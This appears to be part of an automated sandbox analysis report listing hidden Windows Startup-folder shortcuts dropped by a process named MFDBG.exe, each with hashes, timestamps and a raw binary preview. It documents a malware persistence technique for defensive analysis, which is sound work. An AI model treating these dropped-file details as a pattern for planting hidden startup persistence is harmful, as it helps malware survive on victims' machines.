Preview:	L..................F...."...]W%.{..... .\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e26e8e8c2b0540f4b5c780c6b7c26a0c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9370443744263355
Encrypted:	false
SSDEEP:	24:852hBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CK0R6rMhpBoUBxdRd1nYyg
MD5:	0EE62373E7CD2E7217ED36E6ADB7BAE1
SHA1:	3C10D7F1B60AF46A386FA7ADF70FBB8AEE161892
SHA-256:	9826CE46679E65DCBDE49D90D8FA735EEF677A857FCA3484E4FC0711DFB13B14
SHA-512:	2B6AD2268BA5388E0703DD94807D80E2F0D2B47DD8C9E27CEF06254407A003A4C553CCA1086BCBD94E71DF63CFED20E5410748E2093E8220447BD946C78C6998
Malicious:	false
Preview:	L..................F...."...]W%.{...K.N.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#B.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2725ce6fbf2436795ffb62ffcd699cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940122579336755
Encrypted:	false
SSDEEP:	24:81PhBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81T/0R6rMhpBoUBxdRd1nYyg
MD5:	142AAB60F762D7725465D4E6719B73CB
SHA1:	BF3C79A5035477D77A32C04C591FC5A5E27BF508
SHA-256:	D4E08C0E51D2288E55E891576BA6E81A77DD19635C7F0B239785CAF1138E4FB8
SHA-512:	01FB6181771F3FDAF897E9530E167360DAA2C213EFBA9907310FC6BCB58352564A327C1879A0C025EC48C7616D03CD729F05D7E8F38CC9CDB103E1C5BDF06017
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2bf8a46a40e45b0bf0140684ab6c6e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9217057717469785
Encrypted:	false
SSDEEP:	24:8ehBfnD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80o0R6rMhpBoUBxdRd1nYyg
MD5:	1D1AA30F0B72B7D84C09C5638169B631
SHA1:	89F5A233BEE509DBDA3E3786CC20613F68E6C51E
SHA-256:	9D7A2EA11196E90AED74D61C1CA7F0016D9C29B21B1AF45DE56BA36FB4C8D179
SHA-512:	C41CC86450BCA034E761486516A7F26E8C6EA0167CEFE503A8658BE43D2B886529ADBE32354576151BF132381717CF1F3D926475AA0E5E84D504A019F60B7873
Malicious:	false
Preview:	L..................F...."...]W%.{...@aU.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...U.4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2cba24955d84e648d6095b89866b737.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93479936878172
Encrypted:	false
SSDEEP:	24:8XhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LR0R6rMhpBoUBxdRd1nYyg
MD5:	59538F09F40A82B7556A9EDA1310BE34
SHA1:	225CC94DBCD6510BC3E4D1FF24629F8B500BE668
SHA-256:	2A780B6442BF1DE2F1984CA585B4BAC3E32EF1C1DB2FEBBC7DE160AB8600E909
SHA-512:	87583CD23DF8922672766F0D47264492BDB313C8A7D254AF12209B0EB0FE5FD2CEB39D7C742F6569B339A5DC976FB3E0D36666A40DA4C6ADA57665DE3C28B5C1
Malicious:	false
Preview:	L..................F...."...]W%.{....^..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e321a888e42246d1a7351c5ebfd84a72.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937533644594722
Encrypted:	false
SSDEEP:	24:8ChBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8oKI0R6rMhpBoUBxdRd1nYyg
MD5:	E31AF63ED0FD5617367C8A002F9CE89B
SHA1:	D7D511D1E9283865E2380893BFDE444A4292BD0E
SHA-256:	1E2EA44C5F7E803D4E09FE9D6B8BCE5BA17292CD0945597FC9154C2016174DDB
SHA-512:	B583D7BB17821C41582732CF94D93C55A1333F9B448A6FB98484AB02C960FF1EF135B7647372D9EC61DFA30A6EBF725B591DCB3C273BFE193ED9C689CAD9E42D
Malicious:	false
Preview:	L..................F...."...]W%.{.....d.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e326a108ecb64e3085e14c24a660d7e9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934957469948311
Encrypted:	false
SSDEEP:	24:8kXmhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kXsgT0R6rMhpBoUBxdRd1nYyg
MD5:	7DC5B8D5DDD7F657AE000C9197946058
SHA1:	802137B7CD0193D6494AC033400A4CDD47B4198C
SHA-256:	03959B198802537546FEFA2632ADB6884C1BABC1AA6F672A5FA1FD70FC00B4E1
SHA-512:	8ADE62AA95200B1497C5DACB97E47AF9C05CADF882FE56565FB31E47511329F1191429AAF193428A58098D87D61AE8EAF977E210848EBE0DADA711F50FDC238E
Malicious:	false
Preview:	L..................F...."...]W%.{...pj..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e39c2d4be5494a23863e8ade3681d4a6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935036316968169
Encrypted:	false
SSDEEP:	24:8HphBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8HpNQ0R6rMhpBoUBxdRd1nYyg
MD5:	77A469F0E702A96AFB33520FE6EF0CB8
SHA1:	D5614285E794B915EF154AEF3047F1F615EE8599
SHA-256:	CFDBF6C92A3328C81847E7670AFC2AC76B0D7391E2AD07B77D9B0E1BACC9E0A6
SHA-512:	295EFDA7A514883C2D5E2F02B92D572A56C116802DAE11451846D04D8CFC080B9FD16DF8327D75CCDC258F3349902800C9F42741D10B4EF984421B251726F869
Malicious:	false
Preview:	L..................F...."...]W%.{....FN.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e3a635a7c16f481d91145d23741e11a3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935018443738094
Encrypted:	false
SSDEEP:	24:8RhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hKI0R6rMhpBoUBxdRd1nYyg
MD5:	05562D37B25AF612A5C93374DE1B5C2B
SHA1:	78D4B94F4EE97928AE517EFB6E063F2D5AF01086
SHA-256:	F005108FEDD4B63CC08F0499AA4249FFD23E5E3ACC1F29569BEB4A5457ABA2AA
SHA-512:	B046ED02BBCE79DD148C482F4DAA0967570BDFBDD0019F07B0C4EE2ADE089B4D3573D2AB8D8F1FDDA4B79554223100E2885892FD168D7EA216AF0791F978A034
Malicious:	false
Preview:	L..................F...."...]W%.{....7.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e436e92b18fd42119ac65f8b20f4cedb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933810682049186
Encrypted:	false
SSDEEP:	24:8xhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Be0R6rMhpBoUBxdRd1nYyg
MD5:	E93406EB06C80A283F2B54369660D0A2
SHA1:	031821AD8A54022DD06E91EEA098857BD38011D8
SHA-256:	6C3964AD81D806CB5B8E012E2BA6F811E0E688C3A7EC2CFC6492BC9ACDD01009
SHA-512:	E8CAF8CB583ADA2A70D39A12102C6E5168CBAA366DF68E3D8E2C4BE9B1F941F0AED19629460B53114C993BEBF094672A0CDE2543601978DFB17D73F76A8307DC
Malicious:	false
Preview:	L..................F...."...]W%.{.....g.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e448970bbd29477e92319460d1bc8f7f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939997725195718
Encrypted:	false
SSDEEP:	24:8phBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8paF0R6rMhpBoUBxdRd1nYyg
MD5:	38E40889BEF49A6CEDA49036844BE408
SHA1:	3E97F4DEB41CC1435CAF1F6486860D50083C6639
SHA-256:	279FDB1303D7CCC9253A7212F74DC468218F81725F8A05BF969D74E5F439B357
SHA-512:	900E33473ED551939A17B50366645042CB67BCE09ACADADD8B0E7C85453397177503FF27A1C531738467F50702E189F17E9891EA2655196907C06DAE92B1DC07
Malicious:	false
Preview:	L..................F...."...]W%.{...&r..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e4997006db3d43beaadc2093986766c1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938365765191289
Encrypted:	false
SSDEEP:	24:8w2hBf8p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wch0R6rMhpBoUBxdRd1nYyg
MD5:	B91FA1F0AF478B373D45E660E9AED681
SHA1:	DCBAAE920073E3B31D24CA3B343DF79C7D7FD7E2
SHA-256:	2EF5899EB6CC1F504D64C222E4587E0E489431C7E2824D833D827E19DBEDE08B
SHA-512:	89E37976440CC686E1EE531ACFBDF2334D1311212DE20FC4D4214F68AB1111EDF6792D49F4B385222A59915AE30BFC2DB135BA2208015F19B3B784E095D4B564
Malicious:	false
Preview:	L..................F...."...]W%.{....0\|.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....lw.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e510074b623e42789af397d94db3b224.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9393326260748704
Encrypted:	false
SSDEEP:	24:8B8hBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BO9c0R6rMhpBoUBxdRd1nYyg
MD5:	E6AEF49BC391DD65A5BD315E62EB07A8
SHA1:	6AD9A6AE118409464CFE71FB9BDBEB4EBC524B33
SHA-256:	E238C3E33145CBEE6A99D6909BBF9713037386F1BE945D9D5EB4A49F4CC16659
SHA-512:	810B25F397E2C7792A2F0F395DADE6E118914081659831EA23218765AF6258DD26B3850681A083E757C1009B51330F6CC9EF46ED6ADE340494C3F80345C80260
Malicious:	false
Preview:	L..................F...."...]W%.{.....<.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e51d8e533a3c47a98e68cb1ccb5aa2e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.946037155127236
Encrypted:	false
SSDEEP:	24:8ZhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85e0R6rMhpBoUBxdRd1nYyg
MD5:	8F9FD892BF81C1D9B6C25B232E17CE09
SHA1:	DB8DCB0F37840B6857C8CB8CFA74CDD18DD6142E
SHA-256:	FBEFF717934842EEB89F7F73512197CE583D1E3F466CD30927319D82CBC09D4B
SHA-512:	A10447D714DF2DE40110ECE5C54938B396EE1DD7F1362DD11E2CF2EBE9C1DD83C5D13F9643C31122245390C4C1A6BF1E9F561251D324992F4BCB57542E741578
Malicious:	false
